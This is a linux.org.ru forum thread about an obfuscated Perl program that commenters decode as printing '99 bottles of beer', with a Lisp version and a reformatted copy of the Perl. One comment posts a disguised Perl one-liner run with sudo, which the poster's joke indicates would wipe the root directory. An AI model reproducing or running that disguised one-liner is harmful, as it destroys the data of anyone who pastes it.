LINUX.ORG.RU
ФорумTalks

программа на перле


0

0

может и боян древний, но я на лоре еще не видел.

как вам вот это программа?

    ''=~(        '(?{'        .('`'        |'%')        .('['        ^'-')
    .('`'        |'!')        .('`'        |',')        .'"'.        '\\$'
    .'=='        .('['        ^'+')        .('`'        |'/')        .('['
    ^'+')        .'||'        .(';'        &'=')        .(';'        &'=')
    .';-'        .'-'.        '\\$'        .'=;'        .('['        ^'(')
    .('['        ^'.')        .('`'        |'"')        .('!'        ^'+')
   .'_\\{'      .'(\\$'      .';=('.      '\\$=|'      ."\|".(      '`'^'.'
  ).(('`')|    '/').').'    .'\\"'.+(    '{'^'[').    ('`'|'"')    .('`'|'/'
 ).('['^'/')  .('['^'/').  ('`'|',').(  '`'|('%')).  '\\".\\"'.(  '['^('(')).
 '\\"'.('['^  '#').'!!--'  .'\\$=.\\"'  .('{'^'[').  ('`'|'/').(  '`'|"\&").(
 '{'^"\[").(  '`'|"\"").(  '`'|"\%").(  '`'|"\%").(  '['^(')')).  '\\").\\"'.
 ('{'^'[').(  '`'|"\/").(  '`'|"\.").(  '{'^"\[").(  '['^"\/").(  '`'|"\(").(
 '`'|"\%").(  '{'^"\[").(  '['^"\,").(  '`'|"\!").(  '`'|"\,").(  '`'|(',')).
 '\\"\\}'.+(  '['^"\+").(  '['^"\)").(  '`'|"\)").(  '`'|"\.").(  '['^('/')).
 '+_,\\",'.(  '{'^('[')).  ('\\$;!').(  '!'^"\+").(  '{'^"\/").(  '`'|"\!").(
 '`'|"\+").(  '`'|"\%").(  '{'^"\[").(  '`'|"\/").(  '`'|"\.").(  '`'|"\%").(
 '{'^"\[").(  '`'|"\$").(  '`'|"\/").(  '['^"\,").(  '`'|('.')).  ','.(('{')^
 '[').("\["^  '+').("\`"|  '!').("\["^  '(').("\["^  '(').("\{"^  '[').("\`"|
 ')').("\["^  '/').("\{"^  '[').("\`"|  '!').("\["^  ')').("\`"|  '/').("\["^
 '.').("\`"|  '.').("\`"|  '$')."\,".(  '!'^('+')).  '\\",_,\\"'  .'!'.("\!"^
 '+').("\!"^  '+').'\\"'.  ('['^',').(  '`'|"\(").(  '`'|"\)").(  '`'|"\,").(
 '`'|('%')).  '++\\$="})'  );$:=('.')^  '~';$~='@'|  '(';$^=')'^  '[';$/='`';

это на перле офк. просто потрясно, но не понятно, что делает? не подскажите?

★★★★★

Re: программа на перле

Где-то я это уже видел... если вспомню, скажу.

Cancellor ★★★★☆ ()

Re: программа на перле

с use strict не работает, поэтому в топку

dimon555 ★★★★★ ()

Re: программа на перле

Из-под рута запускать, да? :)

vden ★★ ()

Re: программа на перле

Печатает

99 bottles of beer on the wall, 99 bottles of beer!
Take one down, pass it around,
98 bottles of beer on the wall!

98 bottles of beer on the wall, 98 bottles of beer!
Take one down, pass it around,
97 bottles of beer on the wall!

И т. д.

Zenom ★★★ ()

Re: программа на перле

Запускать, как всегда, из под рута?

narayan ()

Re: программа на перле

Бутылочный тест. 99 bottles on the wall. И так далее.

Никаких тебе rm -rf / и форкбомб.

PolarFox ★★★★★ ()

Re: программа на перле

Ацкий боян, я еще в школе это видел.

Sun-ch ()
Ответ на: Re: программа на перле от PolarFox

Re: программа на перле

> Никаких тебе rm -rf / и форкбомб.
тем не менее, 8 руткитов уже заслано, удачи в поисках ж)

val-amart ★★★★★ ()

Re: программа на перле

http://www.99-bottles-of-beer.net


;; Execute with:
;; * sbcl --noinform --load bottle-song.lisp --eval '(quit)'
;; * clisp bottle-song.lisp

(in-package :cl-user)

(defun bottle-song (&optional (in-stock 99) (stream *standard-output*))
  ;; Original idea by Geoff Summerhayes <sumrnot@hotmail.com>
  ;; Formatting idea by Fred Gilham <gilham@snapdragon.csl.sri.com>
  ;; Actual formatting & minor recoding by Kent M Pitman
  ;;   <pitman@world.std.com>
  ;; Redone for conformance to <http://www.99-bottles-of-beer.net/>
  ;;   by Michael Weber <michaelw@foldr.org>.
  (format

              stream
            "~v{~1&~0%~
             ~000000%~
             ~000000%~
             ~000000%~
            ~00000000%~
           ~:/bottles/ ~
         of beer on ~000%~
         the wall, ~001:*~
         ~99/bottles/ of ~
         beer.~1:*~%~[Go ~
         to the store and~
         ~000@* buy some ~
         more, ~/bottles/~
         ~00% of beer on ~
         the wall.~01%~:;~
         Take one down an~
         d pass it around~
         , ~999/bottles/ ~
         ~:*of beer on th~
         e wall.~002%~]~}"
           (1+ in-stock)

   (loop for bottle from in-stock downto 0 collect bottle)))

(defun bottles (stream arg &optional colonp atp &rest args)
  (declare (ignore atp args))
  (format stream "~[~:[n~;N~]o more bottles~:;~:*~A bottle~:*~P~]"
          arg colonp))

(bottle-song)

paranonymous ()

Re: программа на перле

ОЙ, а че это у меня музыка играть перестала после нее ?.. эт чето на мультимедию влияет ?.. щас ребутнусь и посмотрим....

sin_a ★★★★★ ()

Re: программа на перле

Набор сисок и смайликов

bioreactor ★★★★★ ()

Re: программа на перле

У меня эта однострочка не работает. Говорить что невозможно удалить корневой каталог.

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

matich ()
Ответ на: Re: программа на перле от val-amart

Re: программа на перле

Мдя? "Ничего странного" после того как кто то запостил разшифровку кода со словами, "а это я и пропустил" и "у меня что-то звук пропал"? Ненене, val-a-mort, ненене. :) Хотя выглядит скрипт то красиво :)

djzielony ()

Re: программа на перле

обычный регэксп. Вернее несколько регэкспов. Приведи к нормальному виду и смысл прояснится

//всегда Ваш, К.О.

DNA_Seq ★★☆☆☆ ()

Re: программа на перле

#!/usr/bin/perl

''=~
('
  (?{'
  .	('`'|'%')
  .	('['^'-')
  .	('`'|'!')
  .	('`'|',')
  .'"'.'\\$'.'=='
  .	('['^'+')
  .	('`'|'/')
  .('['^'+')
  .'||'
  .(';'&'=')
.(';'&'=').';-'.'-'.'\\$'
.'=;'('['^'(')
.	('['^'.')
.	('`'|'"')
.	('!'^'+')
.'_\\{'
.'(\\$'
.';=('
.'\\$=|'
."\|"
.	('`'^'.')
.	(('`')|'/')
.').'
.'\\"'
.+('{'^'[')
.	('`'|'"')
.	('`'|'/')
.	('['^'/')
.	('['^'/')
.	('`'|',')
.	('`'|('%'))
.'\\".\\"'
.	('['^('('))
.'\\"'
.	('['^'#')
.'!!--'
.'\\$=.\\"'
.	('{'^'[')
.	('`'|'/')
.	('`'|"\&")
.	('{'^"\[")
.	('`'|"\"")
.	('`'|"\%")
.	('`'|"\%")
.	('['^(')'))
.'\\").\\"'
.	('{'^'[')
.	('`'|"\/")
.	('`'|"\.")
.	('{'^"\[")
.	('['^"\/")
.	('`'|"\(")
.	('`'|"\%")
.	('{'^"\[")
.	('['^"\,")
.	('`'|"\!")
.	('`'|"\,")
.	('`'|(','))
.'\\"\\}'
.	+('['^"\+")
.	('['^"\)")
.	('`'|"\)")
.	('`'|"\.")
.	('['^('/'))
.'+_,\\",'
.	('{'^('['))
.	('\\$;!')
.	('!'^"\+")
.	('{'^"\/")
.	('`'|"\!")
.	('`'|"\+")
.	('`'|"\%")
.	('{'^"\[")
.	('`'|"\/")
.	('`'|"\.")
.	('`'|"\%")
.	('{'^"\[")
.	('`'|"\$")
.	('`'|"\/")
.	('['^"\,")
.	('`'|('.'))
.','
.	(('{')^'[')
.	("\["^'+')
.	("\`"|'!')
.	("\["^'(')
.	("\["^'(')
.	("\{"^'[')
.	("\`"|')')
.	("\["^'/')
.	("\{"^'[')
.	("\`"|'!')
.	("\["^')')
.	("\`"|'/')
.	("\["^'.')
.	("\`"|'.')
.	("\`"|'$')
."\,"
.	('!'^('+'))
.'\\",_,\\"'
.'!'
.	("\!"^'+')
.	("\!"^'+')
.'\\"'
.	('['^',')
.	('`'|"\(")
.	('`'|"\)")
.	('`'|"\,")
.	('`'|('%'))
.'++\\$="})');
$:=('.')^'~';
$~='@'|'(';$^=')'^'[';
$/='`';

DNA_Seq ★★☆☆☆ ()

Re: программа на перле

паранойя же

z01 ()

Re: программа на перле

шо, опять rm -rf / ?

f00fc7c8 ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.